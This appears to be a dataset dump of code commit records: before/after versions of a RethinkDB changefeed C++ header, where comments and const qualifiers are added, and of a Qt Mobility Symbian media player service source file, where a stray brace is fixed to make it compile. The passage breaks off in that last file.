mailbox_manager_t;\nstruct rdb_modification_report_t;\n\nnamespace ql {\n\nclass base_exc_t;\nclass batcher_t;\nclass changefeed_t;\nclass datum_stream_t;\nclass datum_t;\nclass env_t;\nclass table_t;\n\nnamespace changefeed {\n\nstruct msg_t {\n struct change_t {\n change_t();\n explicit change_t(counted_t<const datum_t> _old_val,\n counted_t<const datum_t> _new_val);\n ~change_t();\n counted_t<const datum_t> old_val, new_val;\n RDB_DECLARE_ME_SERIALIZABLE;\n };\n struct stop_t { RDB_DECLARE_ME_SERIALIZABLE; };\n\n msg_t() { }\n msg_t(msg_t &&msg);\n msg_t(const msg_t &msg) = default;\n explicit msg_t(stop_t &&op);\n explicit msg_t(change_t &&op);\n\n \/\/ Starts with STOP to avoid doing work for default initialization.\n boost::variant<stop_t, change_t> op;\n\n RDB_DECLARE_ME_SERIALIZABLE;\n};\n\nclass feed_t;\nstruct stamped_msg_t;\n\n\/\/ The `client_t` exists on the machine handling the changefeed query, in the\n\/\/ `rdb_context_t`. When a query subscribes to the changes on a table, it\n\/\/ should call `new_feed`. The `client_t` will give it back a stream of rows.\n\/\/ The `client_t` does this by maintaining an internal map from table UUIDs to\n\/\/ `feed_t`s. (It does this so that there is at most one `feed_t` per <table,\n\/\/ client> pair, to prevent redundant cluster messages.) The actual logic for\n\/\/ subscribing to a changefeed server and distributing writes to streams can be\n\/\/ found in the `feed_t` class.\nclass client_t : public home_thread_mixin_t {\npublic:\n typedef mailbox_addr_t<void(stamped_msg_t)> addr_t;\n client_t(mailbox_manager_t *_manager);\n ~client_t();\n \/\/ Throws QL exceptions.\n counted_t<datum_stream_t> new_feed(const counted_t<table_t> &tbl, env_t *env);\n void maybe_remove_feed(const uuid_u &uuid);\n scoped_ptr_t<feed_t> detach_feed(const uuid_u &uuid);\nprivate:\n friend class sub_t;\n mailbox_manager_t *const manager;\n std::map<uuid_u, scoped_ptr_t<feed_t> > feeds;\n \/\/ This lock manages access to the `feeds` map. The `feeds` map needs to be\n \/\/ read whenever `new_feed` is called, and needs to be written to whenever\n \/\/ `new_feed` is called with a table not already in the `feeds` map, or\n \/\/ whenever `maybe_remove_feed` or `detach_feed` is called.\n rwlock_t feeds_lock;\n auto_drainer_t drainer;\n};\n\n\/\/ There is one `server_t` per `store_t`, and it is used to send changes that\n\/\/ occur on that `store_t` to any subscribed `feed_t`s contained in a\n\/\/ `client_t`.\nclass server_t {\npublic:\n typedef mailbox_addr_t<void(client_t::addr_t)> addr_t;\n server_t(mailbox_manager_t *_manager);\n void add_client(const client_t::addr_t &addr);\n void send_all(msg_t msg);\n addr_t get_stop_addr();\n uint64_t get_stamp(const client_t::addr_t &addr);\n uuid_u get_uuid();\nprivate:\n void stop_mailbox_cb(client_t::addr_t addr);\n void add_client_cb(signal_t *stopped, client_t::addr_t addr);\n\n \/\/ The UUID of the server, used so that `feed_t`s can order changefeed\n \/\/ messages on a per-server basis (and drop changefeed messages from before\n \/\/ their own creation timestamp on a per-server basis).\n const uuid_u uuid;\n mailbox_manager_t *const manager;\n\n struct client_info_t {\n scoped_ptr_t<cond_t> cond;\n uint64_t stamp;\n };\n std::map<client_t::addr_t, client_info_t> clients;\n rwlock_t clients_lock;\n\n mailbox_t<void(client_t::addr_t)> stop_mailbox;\n auto_drainer_t drainer;\n};\n\n} \/\/ namespace changefeed\n} \/\/ namespace ql\n\n#endif \/\/ RDB_PROTOCOL_CHANGEFEED_HPP_\n<commit_msg>Added comments.<commit_after>#ifndef RDB_PROTOCOL_CHANGEFEED_HPP_\n#define RDB_PROTOCOL_CHANGEFEED_HPP_\n\n#include <deque>\n#include <exception>\n#include <map>\n\n#include \"errors.hpp\"\n\n#include <boost\/variant.hpp>\n\n#include \"concurrency\/rwlock.hpp\"\n#include \"containers\/counted.hpp\"\n#include \"containers\/scoped.hpp\"\n#include \"protocol_api.hpp\"\n#include \"repli_timestamp.hpp\"\n#include \"rpc\/connectivity\/connectivity.hpp\"\n#include \"rpc\/mailbox\/typed.hpp\"\n#include \"rpc\/serialize_macros.hpp\"\n\nclass auto_drainer_t;\nclass base_namespace_repo_t;\nclass mailbox_manager_t;\nstruct rdb_modification_report_t;\n\nnamespace ql {\n\nclass base_exc_t;\nclass batcher_t;\nclass changefeed_t;\nclass datum_stream_t;\nclass datum_t;\nclass env_t;\nclass table_t;\n\nnamespace changefeed {\n\nstruct msg_t {\n struct change_t {\n change_t();\n explicit change_t(counted_t<const datum_t> _old_val,\n counted_t<const datum_t> _new_val);\n ~change_t();\n counted_t<const datum_t> old_val, new_val;\n RDB_DECLARE_ME_SERIALIZABLE;\n };\n struct stop_t { RDB_DECLARE_ME_SERIALIZABLE; };\n\n msg_t() { }\n msg_t(msg_t &&msg);\n msg_t(const msg_t &msg) = default;\n explicit msg_t(stop_t &&op);\n explicit msg_t(change_t &&op);\n\n \/\/ Starts with STOP to avoid doing work for default initialization.\n boost::variant<stop_t, change_t> op;\n\n RDB_DECLARE_ME_SERIALIZABLE;\n};\n\nclass feed_t;\nstruct stamped_msg_t;\n\n\/\/ The `client_t` exists on the machine handling the changefeed query, in the\n\/\/ `rdb_context_t`. When a query subscribes to the changes on a table, it\n\/\/ should call `new_feed`. The `client_t` will give it back a stream of rows.\n\/\/ The `client_t` does this by maintaining an internal map from table UUIDs to\n\/\/ `feed_t`s. (It does this so that there is at most one `feed_t` per <table,\n\/\/ client> pair, to prevent redundant cluster messages.) The actual logic for\n\/\/ subscribing to a changefeed server and distributing writes to streams can be\n\/\/ found in the `feed_t` class.\nclass client_t : public home_thread_mixin_t {\npublic:\n typedef mailbox_addr_t<void(stamped_msg_t)> addr_t;\n client_t(mailbox_manager_t *_manager);\n ~client_t();\n \/\/ Throws QL exceptions.\n counted_t<datum_stream_t> new_feed(const counted_t<table_t> &tbl, env_t *env);\n void maybe_remove_feed(const uuid_u &uuid);\n scoped_ptr_t<feed_t> detach_feed(const uuid_u &uuid);\nprivate:\n friend class sub_t;\n mailbox_manager_t *const manager;\n std::map<uuid_u, scoped_ptr_t<feed_t> > feeds;\n \/\/ This lock manages access to the `feeds` map. The `feeds` map needs to be\n \/\/ read whenever `new_feed` is called, and needs to be written to whenever\n \/\/ `new_feed` is called with a table not already in the `feeds` map, or\n \/\/ whenever `maybe_remove_feed` or `detach_feed` is called.\n rwlock_t feeds_lock;\n auto_drainer_t drainer;\n};\n\n\/\/ There is one `server_t` per `store_t`, and it is used to send changes that\n\/\/ occur on that `store_t` to any subscribed `feed_t`s contained in a\n\/\/ `client_t`.\nclass server_t {\npublic:\n typedef mailbox_addr_t<void(client_t::addr_t)> addr_t;\n server_t(mailbox_manager_t *_manager);\n void add_client(const client_t::addr_t &addr);\n void send_all(msg_t msg);\n addr_t get_stop_addr();\n uint64_t get_stamp(const client_t::addr_t &addr);\n uuid_u get_uuid();\nprivate:\n void stop_mailbox_cb(client_t::addr_t addr);\n void add_client_cb(signal_t *stopped, client_t::addr_t addr);\n\n \/\/ The UUID of the server, used so that `feed_t`s can order changefeed\n \/\/ messages on a per-server basis (and drop changefeed messages from before\n \/\/ their own creation timestamp on a per-server basis).\n const uuid_u uuid;\n mailbox_manager_t *const manager;\n\n struct client_info_t {\n scoped_ptr_t<cond_t> cond;\n uint64_t stamp;\n };\n std::map<client_t::addr_t, client_info_t> clients;\n \/\/ Controls access to `clients`. A `server_t` needs to read `clients` when:\n \/\/ * `send_all` is called\n \/\/ * `get_tamp` is called\n \/\/ And needs to write to clients when:\n \/\/ * `add_client` is called\n \/\/ * A message is received at `stop_mailbox` unsubscribing a client\n \/\/ A lock is needed because e.g. `send_all` calls `send`, which can block,\n \/\/ while looping over `clients`, and we need to make sure the map doesn't\n \/\/ change under it.\n rwlock_t clients_lock;\n\n mailbox_t<void(client_t::addr_t)> stop_mailbox;\n auto_drainer_t drainer;\n};\n\n} \/\/ namespace changefeed\n} \/\/ namespace ql\n\n#endif \/\/ RDB_PROTOCOL_CHANGEFEED_HPP_\n<|endoftext|>"} {"text":"<commit_before>#ifndef RDB_PROTOCOL_CHANGEFEED_HPP_\n#define RDB_PROTOCOL_CHANGEFEED_HPP_\n\n#include <deque>\n#include <exception>\n#include <map>\n\n#include \"errors.hpp\"\n\n#include <boost\/variant.hpp>\n\n#include \"concurrency\/rwlock.hpp\"\n#include \"containers\/counted.hpp\"\n#include \"containers\/scoped.hpp\"\n#include \"protocol_api.hpp\"\n#include \"repli_timestamp.hpp\"\n#include \"rpc\/connectivity\/connectivity.hpp\"\n#include \"rpc\/mailbox\/typed.hpp\"\n#include \"rpc\/serialize_macros.hpp\"\n\nclass auto_drainer_t;\nclass base_namespace_repo_t;\nclass mailbox_manager_t;\nstruct rdb_modification_report_t;\n\nnamespace ql {\n\nclass base_exc_t;\nclass batcher_t;\nclass changefeed_t;\nclass datum_stream_t;\nclass datum_t;\nclass env_t;\nclass table_t;\n\nnamespace changefeed {\n\nstruct msg_t {\n struct change_t {\n change_t();\n explicit change_t(counted_t<const datum_t> _old_val,\n counted_t<const datum_t> _new_val);\n ~change_t();\n counted_t<const datum_t> old_val, new_val;\n RDB_DECLARE_ME_SERIALIZABLE;\n };\n struct stop_t { RDB_DECLARE_ME_SERIALIZABLE; };\n\n msg_t() { }\n msg_t(msg_t &&msg);\n msg_t(const msg_t &msg) = default;\n explicit msg_t(stop_t &&op);\n explicit msg_t(change_t &&op);\n\n \/\/ Starts with STOP to avoid doing work for default initialization.\n boost::variant<stop_t, change_t> op;\n\n RDB_DECLARE_ME_SERIALIZABLE;\n};\n\nclass feed_t;\nstruct stamped_msg_t;\n\n\/\/ The `client_t` exists on the machine handling the changefeed query, in the\n\/\/ `rdb_context_t`. When a query subscribes to the changes on a table, it\n\/\/ should call `new_feed`. The `client_t` will give it back a stream of rows.\n\/\/ The `client_t` does this by maintaining an internal map from table UUIDs to\n\/\/ `feed_t`s. (It does this so that there is at most one `feed_t` per <table,\n\/\/ client> pair, to prevent redundant cluster messages.) The actual logic for\n\/\/ subscribing to a changefeed server and distributing writes to streams can be\n\/\/ found in the `feed_t` class.\nclass client_t : public home_thread_mixin_t {\npublic:\n typedef mailbox_addr_t<void(stamped_msg_t)> addr_t;\n client_t(mailbox_manager_t *_manager);\n ~client_t();\n \/\/ Throws QL exceptions.\n counted_t<datum_stream_t> new_feed(const counted_t<table_t> &tbl, env_t *env);\n void maybe_remove_feed(const uuid_u &uuid);\n scoped_ptr_t<feed_t> detach_feed(const uuid_u &uuid);\nprivate:\n friend class sub_t;\n mailbox_manager_t *manager;\n std::map<uuid_u, scoped_ptr_t<feed_t> > feeds;\n \/\/ This lock manages access to the `feeds` map. The `feeds` map needs to be\n \/\/ read whenever `new_feed` is called, and needs to be written to whenever\n \/\/ `new_feed` is called with a table not already in the `feeds` map, or\n \/\/ whenever `maybe_remove_feed` or `detach_feed` is called.\n rwlock_t feeds_lock;\n auto_drainer_t drainer;\n};\n\nclass server_t {\npublic:\n typedef mailbox_addr_t<void(client_t::addr_t)> addr_t;\n server_t(mailbox_manager_t *_manager);\n void add_client(const client_t::addr_t &addr);\n void send_all(msg_t msg);\n addr_t get_stop_addr();\n uint64_t get_stamp(const client_t::addr_t &addr);\n uuid_u get_uuid();\nprivate:\n void stop_mailbox_cb(client_t::addr_t addr);\n void add_client_cb(signal_t *stopped, client_t::addr_t addr);\n\n uuid_u uuid;\n mailbox_manager_t *manager;\n\n struct client_info_t {\n scoped_ptr_t<cond_t> cond;\n uint64_t stamp;\n };\n std::map<client_t::addr_t, client_info_t> clients;\n rwlock_t clients_lock;\n\n mailbox_t<void(client_t::addr_t)> stop_mailbox;\n auto_drainer_t drainer;\n};\n\n} \/\/ namespace changefeed\n} \/\/ namespace ql\n\n#endif \/\/ RDB_PROTOCOL_CHANGEFEED_HPP_\n<commit_msg>Added comments.<commit_after>#ifndef RDB_PROTOCOL_CHANGEFEED_HPP_\n#define RDB_PROTOCOL_CHANGEFEED_HPP_\n\n#include <deque>\n#include <exception>\n#include <map>\n\n#include \"errors.hpp\"\n\n#include <boost\/variant.hpp>\n\n#include \"concurrency\/rwlock.hpp\"\n#include \"containers\/counted.hpp\"\n#include \"containers\/scoped.hpp\"\n#include \"protocol_api.hpp\"\n#include \"repli_timestamp.hpp\"\n#include \"rpc\/connectivity\/connectivity.hpp\"\n#include \"rpc\/mailbox\/typed.hpp\"\n#include \"rpc\/serialize_macros.hpp\"\n\nclass auto_drainer_t;\nclass base_namespace_repo_t;\nclass mailbox_manager_t;\nstruct rdb_modification_report_t;\n\nnamespace ql {\n\nclass base_exc_t;\nclass batcher_t;\nclass changefeed_t;\nclass datum_stream_t;\nclass datum_t;\nclass env_t;\nclass table_t;\n\nnamespace changefeed {\n\nstruct msg_t {\n struct change_t {\n change_t();\n explicit change_t(counted_t<const datum_t> _old_val,\n counted_t<const datum_t> _new_val);\n ~change_t();\n counted_t<const datum_t> old_val, new_val;\n RDB_DECLARE_ME_SERIALIZABLE;\n };\n struct stop_t { RDB_DECLARE_ME_SERIALIZABLE; };\n\n msg_t() { }\n msg_t(msg_t &&msg);\n msg_t(const msg_t &msg) = default;\n explicit msg_t(stop_t &&op);\n explicit msg_t(change_t &&op);\n\n \/\/ Starts with STOP to avoid doing work for default initialization.\n boost::variant<stop_t, change_t> op;\n\n RDB_DECLARE_ME_SERIALIZABLE;\n};\n\nclass feed_t;\nstruct stamped_msg_t;\n\n\/\/ The `client_t` exists on the machine handling the changefeed query, in the\n\/\/ `rdb_context_t`. When a query subscribes to the changes on a table, it\n\/\/ should call `new_feed`. The `client_t` will give it back a stream of rows.\n\/\/ The `client_t` does this by maintaining an internal map from table UUIDs to\n\/\/ `feed_t`s. (It does this so that there is at most one `feed_t` per <table,\n\/\/ client> pair, to prevent redundant cluster messages.) The actual logic for\n\/\/ subscribing to a changefeed server and distributing writes to streams can be\n\/\/ found in the `feed_t` class.\nclass client_t : public home_thread_mixin_t {\npublic:\n typedef mailbox_addr_t<void(stamped_msg_t)> addr_t;\n client_t(mailbox_manager_t *_manager);\n ~client_t();\n \/\/ Throws QL exceptions.\n counted_t<datum_stream_t> new_feed(const counted_t<table_t> &tbl, env_t *env);\n void maybe_remove_feed(const uuid_u &uuid);\n scoped_ptr_t<feed_t> detach_feed(const uuid_u &uuid);\nprivate:\n friend class sub_t;\n mailbox_manager_t *manager;\n std::map<uuid_u, scoped_ptr_t<feed_t> > feeds;\n \/\/ This lock manages access to the `feeds` map. The `feeds` map needs to be\n \/\/ read whenever `new_feed` is called, and needs to be written to whenever\n \/\/ `new_feed` is called with a table not already in the `feeds` map, or\n \/\/ whenever `maybe_remove_feed` or `detach_feed` is called.\n rwlock_t feeds_lock;\n auto_drainer_t drainer;\n};\n\n\/\/ There is one `server_t` per `store_t`, and it is used to send changes that\n\/\/ occur on that `store_t` to any subscribed `feed_t`s contained in a\n\/\/ `client_t`.\nclass server_t {\npublic:\n typedef mailbox_addr_t<void(client_t::addr_t)> addr_t;\n server_t(mailbox_manager_t *_manager);\n void add_client(const client_t::addr_t &addr);\n void send_all(msg_t msg);\n addr_t get_stop_addr();\n uint64_t get_stamp(const client_t::addr_t &addr);\n uuid_u get_uuid();\nprivate:\n void stop_mailbox_cb(client_t::addr_t addr);\n void add_client_cb(signal_t *stopped, client_t::addr_t addr);\n\n uuid_u uuid;\n mailbox_manager_t *manager;\n\n struct client_info_t {\n scoped_ptr_t<cond_t> cond;\n uint64_t stamp;\n };\n std::map<client_t::addr_t, client_info_t> clients;\n rwlock_t clients_lock;\n\n mailbox_t<void(client_t::addr_t)> stop_mailbox;\n auto_drainer_t drainer;\n};\n\n} \/\/ namespace changefeed\n} \/\/ namespace ql\n\n#endif \/\/ RDB_PROTOCOL_CHANGEFEED_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the Qt Mobility Components.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights. These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include <QtCore\/qvariant.h>\n#include <QtCore\/qdebug.h>\n#include <QtGui\/qwidget.h>\n\n#include \"s60mediaplayerservice.h\"\n#include \"s60mediaplayercontrol.h\"\n#include \"s60videoplayersession.h\"\n#include \"s60audioplayersession.h\"\n#include \"s60mediametadataprovider.h\"\n#include \"s60mediarecognizer.h\"\n#include \"s60videowidgetcontrol.h\"\n#include \"s60videowindowcontrol.h\"\n#ifdef HAS_VIDEORENDERERCONTROL_IN_VIDEOPLAYER\n#include \"s60videorenderer.h\"\n#endif\n#include \"s60mediaplayeraudioendpointselector.h\"\n#include \"s60medianetworkaccesscontrol.h\"\n#include \"s60mediastreamcontrol.h\"\n\n#include <qmediaplaylistnavigator.h>\n#include <qmediaplaylist.h>\n\nS60MediaPlayerService::S60MediaPlayerService(QObject *parent)\n : QMediaService(parent)\n , m_control(NULL)\n , m_videoPlayerSession(NULL)\n , m_audioPlayerSession(NULL)\n , m_metaData(NULL)\n , m_audioEndpointSelector(NULL)\n , m_streamControl(NULL)\n , m_networkAccessControl(NULL)\n , m_videoOutput(NULL)\n{\n m_control = new S60MediaPlayerControl(*this, this);\n m_metaData = new S60MediaMetaDataProvider(m_control, this);\n m_audioEndpointSelector = new S60MediaPlayerAudioEndpointSelector(m_control, this);\n m_streamControl = new S60MediaStreamControl(m_control, this);\n m_networkAccessControl = new S60MediaNetworkAccessControl(this);\n}\n\nS60MediaPlayerService::~S60MediaPlayerService()\n{\n}\n\nQMediaControl *S60MediaPlayerService::requestControl(const char *name)\n{\n if (qstrcmp(name, QMediaPlayerControl_iid) == 0)\n return m_control;\n\n if (qstrcmp(name, QMediaNetworkAccessControl_iid) == 0)\n return m_networkAccessControl;\n\n if (qstrcmp(name, QMetaDataReaderControl_iid) == 0)\n return m_metaData;\n\n if (qstrcmp(name, QAudioEndpointSelector_iid) == 0)\n return m_audioEndpointSelector;\n\n if (qstrcmp(name, QMediaStreamsControl_iid) == 0)\n return m_streamControl;\n\n if (!m_videoOutput) {\n if (qstrcmp(name, QVideoWidgetControl_iid) == 0) {\n m_videoOutput = new S60VideoWidgetControl(this);\n }\n#ifdef HAS_VIDEORENDERERCONTROL_IN_VIDEOPLAYER\n else if (qstrcmp(name, QVideoRendererControl_iid) == 0) {\n m_videoOutput = new S60VideoRenderer(this);\n }\n#endif \/* HAS_VIDEORENDERERCONTROL_IN_VIDEOPLAYER *\/\n else if (qstrcmp(name, QVideoWindowControl_iid) == 0) {\n m_videoOutput = new S60VideoWindowControl(this);\n }\n\n if (m_videoOutput) {\n m_control->setVideoOutput(m_videoOutput);\n return m_videoOutput;\n }\n }else {\n if (qstrcmp(name, QVideoWidgetControl_iid) == 0 ||\n#ifdef HAS_VIDEORENDERERCONTROL_IN_VIDEOPLAYER\n qstrcmp(name, QVideoRendererControl_iid) == 0 ||\n#endif \/* HAS_VIDEORENDERERCONTROL_IN_VIDEOPLAYER *\/\n qstrcmp(name, QVideoWindowControl_iid) == 0){\n return m_videoOutput;\n }\n }\n return 0;\n}\n\nvoid S60MediaPlayerService::releaseControl(QMediaControl *control)\n{\n if (control == m_videoOutput) {\n m_videoOutput = 0;\n m_control->setVideoOutput(m_videoOutput);\n }\n}\n\nS60MediaPlayerSession* S60MediaPlayerService::PlayerSession()\n{\n QUrl url = m_control->media().canonicalUrl();\n\n if (url.isEmpty() == true) {\n return NULL;\n }\n\n QScopedPointer<S60MediaRecognizer> mediaRecognizer(new S60MediaRecognizer);\n S60MediaRecognizer::MediaType mediaType = mediaRecognizer->mediaType(url);\n mediaRecognizer.reset();\n\n switch (mediaType) {\n case S60MediaRecognizer::Video:\n case S60MediaRecognizer::Url:\n {\n m_control->setMediaType(S60MediaSettings::Video);\n return VideoPlayerSession();\n }\n case S60MediaRecognizer::Audio:\n {\n m_control->setMediaType(S60MediaSettings::Audio);\n return AudioPlayerSession();\n }\n default:\n m_control->setMediaType(S60MediaSettings::Unknown);\n break;\n }\n\n return NULL;\n}\n\nS60MediaPlayerSession* S60MediaPlayerService::VideoPlayerSession()\n{\n if (!m_videoPlayerSession) {\n m_videoPlayerSession = new S60VideoPlayerSession(this, m_networkAccessControl);\n\n connect(m_videoPlayerSession, SIGNAL(positionChanged(qint64)),\n m_control, SIGNAL(positionChanged(qint64)));\n connect(m_videoPlayerSession, SIGNAL(playbackRateChanged(qreal)),\n m_control, SIGNAL(playbackRateChanged(qreal)));\n connect(m_videoPlayerSession, SIGNAL(volumeChanged(int)),\n m_control, SIGNAL(volumeChanged(int)));\n connect(m_videoPlayerSession, SIGNAL(mutedChanged(bool)),\n m_control, SIGNAL(mutedChanged(bool)));\n connect(m_videoPlayerSession, SIGNAL(durationChanged(qint64)),\n m_control, SIGNAL(durationChanged(qint64)));\n connect(m_videoPlayerSession, SIGNAL(stateChanged(QMediaPlayer::State)),\n m_control, SIGNAL(stateChanged(QMediaPlayer::State)));\n connect(m_videoPlayerSession, SIGNAL(mediaStatusChanged(QMediaPlayer::MediaStatus)),\n m_control, SIGNAL(mediaStatusChanged(QMediaPlayer::MediaStatus)));\n connect(m_videoPlayerSession,SIGNAL(bufferStatusChanged(int)),\n m_control, SIGNAL(bufferStatusChanged(int)));\n connect(m_videoPlayerSession, SIGNAL(videoAvailableChanged(bool)),\n m_control, SIGNAL(videoAvailableChanged(bool)));\n connect(m_videoPlayerSession, SIGNAL(audioAvailableChanged(bool)),\n m_control, SIGNAL(audioAvailableChanged(bool)));\n connect(m_videoPlayerSession, SIGNAL(seekableChanged(bool)),\n m_control, SIGNAL(seekableChanged(bool)));\n connect(m_videoPlayerSession, SIGNAL(availablePlaybackRangesChanged(const QMediaTimeRange&)),\n m_control, SIGNAL(availablePlaybackRangesChanged(const QMediaTimeRange&)));\n connect(m_videoPlayerSession, SIGNAL(error(int, const QString &)),\n m_control, SIGNAL(error(int, const QString &)));\n connect(m_videoPlayerSession, SIGNAL(metaDataChanged()),\n m_metaData, SIGNAL(metaDataChanged()));\n connect(m_videoPlayerSession, SIGNAL(activeEndpointChanged(const QString&)),\n m_audioEndpointSelector, SIGNAL(activeEndpointChanged(const QString&)));\n connect(m_videoPlayerSession, SIGNAL(mediaChanged()),\n m_streamControl, SLOT(handleStreamsChanged()));\n connect(m_videoPlayerSession, SIGNAL(accessPointChanged(int)),\n m_networkAccessControl, SLOT(accessPointChanged(int)));\n }\n\n m_videoPlayerSession->setVolume(m_control->mediaControlSettings().volume());\n m_videoPlayerSession->setMuted(m_control->mediaControlSettings().isMuted());\n m_videoPlayerSession->setAudioEndpoint(m_control->mediaControlSettings().audioEndpoint());\n\n }\n return m_videoPlayerSession;\n}\n\nS60MediaPlayerSession* S60MediaPlayerService::AudioPlayerSession()\n{\n if (!m_audioPlayerSession) {\n m_audioPlayerSession = new S60AudioPlayerSession(this);\n\n connect(m_audioPlayerSession, SIGNAL(positionChanged(qint64)),\n m_control, SIGNAL(positionChanged(qint64)));\n connect(m_audioPlayerSession, SIGNAL(playbackRateChanged(qreal)),\n m_control, SIGNAL(playbackRateChanged(qreal)));\n connect(m_audioPlayerSession, SIGNAL(volumeChanged(int)),\n m_control, SIGNAL(volumeChanged(int)));\n connect(m_audioPlayerSession, SIGNAL(mutedChanged(bool)),\n m_control, SIGNAL(mutedChanged(bool)));\n connect(m_audioPlayerSession, SIGNAL(durationChanged(qint64)),\n m_control, SIGNAL(durationChanged(qint64)));\n connect(m_audioPlayerSession, SIGNAL(stateChanged(QMediaPlayer::State)),\n m_control, SIGNAL(stateChanged(QMediaPlayer::State)));\n connect(m_audioPlayerSession, SIGNAL(mediaStatusChanged(QMediaPlayer::MediaStatus)),\n m_control, SIGNAL(mediaStatusChanged(QMediaPlayer::MediaStatus)));\n connect(m_audioPlayerSession,SIGNAL(bufferStatusChanged(int)),\n m_control, SIGNAL(bufferStatusChanged(int)));\n connect(m_audioPlayerSession, SIGNAL(videoAvailableChanged(bool)),\n m_control, SIGNAL(videoAvailableChanged(bool)));\n connect(m_audioPlayerSession, SIGNAL(audioAvailableChanged(bool)),\n m_control, SIGNAL(audioAvailableChanged(bool)));\n connect(m_audioPlayerSession, SIGNAL(seekableChanged(bool)),\n m_control, SIGNAL(seekableChanged(bool)));\n connect(m_audioPlayerSession, SIGNAL(availablePlaybackRangesChanged(const QMediaTimeRange&)),\n m_control, SIGNAL(availablePlaybackRangesChanged(const QMediaTimeRange&)));\n connect(m_audioPlayerSession, SIGNAL(error(int, const QString &)),\n m_control, SIGNAL(error(int, const QString &)));\n connect(m_audioPlayerSession, SIGNAL(metaDataChanged()),\n m_metaData, SIGNAL(metaDataChanged()));\n connect(m_audioPlayerSession, SIGNAL(activeEndpointChanged(const QString&)),\n m_audioEndpointSelector, SIGNAL(activeEndpointChanged(const QString&)));\n connect(m_audioPlayerSession, SIGNAL(mediaChanged()),\n m_streamControl, SLOT(handleStreamsChanged()));\n\n m_audioPlayerSession->setVolume(m_control->mediaControlSettings().volume());\n m_audioPlayerSession->setMuted(m_control->mediaControlSettings().isMuted());\n m_audioPlayerSession->setAudioEndpoint(m_control->mediaControlSettings().audioEndpoint());\n }\n return m_audioPlayerSession;\n}\n<commit_msg>make Symbian mediaplayer plugin compile<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2010 Nokia Corporation and\/or its subsidiary(-ies).\n** All rights reserved.\n** Contact: Nokia Corporation (qt-info@nokia.com)\n**\n** This file is part of the Qt Mobility Components.\n**\n** $QT_BEGIN_LICENSE:LGPL$\n** No Commercial Usage\n** This file contains pre-release code and may not be distributed.\n** You may use this file in accordance with the terms and conditions\n** contained in the Technology Preview License Agreement accompanying\n** this package.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file. Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Nokia gives you certain additional\n** rights. These rights are described in the Nokia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n** If you have questions regarding the use of this file, please contact\n** Nokia at qt-info@nokia.com.\n**\n**\n**\n**\n**\n**\n**\n**\n** $QT_END_LICENSE$\n**\n****************************************************************************\/\n\n#include <QtCore\/qvariant.h>\n#include <QtCore\/qdebug.h>\n#include <QtGui\/qwidget.h>\n\n#include \"s60mediaplayerservice.h\"\n#include \"s60mediaplayercontrol.h\"\n#include \"s60videoplayersession.h\"\n#include \"s60audioplayersession.h\"\n#include \"s60mediametadataprovider.h\"\n#include \"s60mediarecognizer.h\"\n#include \"s60videowidgetcontrol.h\"\n#include \"s60videowindowcontrol.h\"\n#ifdef HAS_VIDEORENDERERCONTROL_IN_VIDEOPLAYER\n#include \"s60videorenderer.h\"\n#endif\n#include \"s60mediaplayeraudioendpointselector.h\"\n#include \"s60medianetworkaccesscontrol.h\"\n#include \"s60mediastreamcontrol.h\"\n\n#include <qmediaplaylistnavigator.h>\n#include <qmediaplaylist.h>\n\nS60MediaPlayerService::S60MediaPlayerService(QObject *parent)\n : QMediaService(parent)\n , m_control(NULL)\n , m_videoPlayerSession(NULL)\n , m_audioPlayerSession(NULL)\n , m_metaData(NULL)\n , m_audioEndpointSelector(NULL)\n , m_streamControl(NULL)\n , m_networkAccessControl(NULL)\n , m_videoOutput(NULL)\n{\n m_control = new S60MediaPlayerControl(*this, this);\n m_metaData = new S60MediaMetaDataProvider(m_control, this);\n m_audioEndpointSelector = new S60MediaPlayerAudioEndpointSelector(m_control, this);\n m_streamControl = new S60MediaStreamControl(m_control, this);\n m_networkAccessControl = new S60MediaNetworkAccessControl(this);\n}\n\nS60MediaPlayerService::~S60MediaPlayerService()\n{\n}\n\nQMediaControl *S60MediaPlayerService::requestControl(const char *name)\n{\n if (qstrcmp(name, QMediaPlayerControl_iid) == 0)\n return m_control;\n\n if (qstrcmp(name, QMediaNetworkAccessControl_iid) == 0)\n return m_networkAccessControl;\n\n if (qstrcmp(name, QMetaDataReaderControl_iid) == 0)\n return m_metaData;\n\n if (qstrcmp(name, QAudioEndpointSelector_iid) == 0)\n return m_audioEndpointSelector;\n\n if (qstrcmp(name, QMediaStreamsControl_iid) == 0)\n return m_streamControl;\n\n if (!m_videoOutput) {\n if (qstrcmp(name, QVideoWidgetControl_iid) == 0) {\n m_videoOutput = new S60VideoWidgetControl(this);\n }\n#ifdef HAS_VIDEORENDERERCONTROL_IN_VIDEOPLAYER\n else if (qstrcmp(name, QVideoRendererControl_iid) == 0) {\n m_videoOutput = new S60VideoRenderer(this);\n }\n#endif \/* HAS_VIDEORENDERERCONTROL_IN_VIDEOPLAYER *\/\n else if (qstrcmp(name, QVideoWindowControl_iid) == 0) {\n 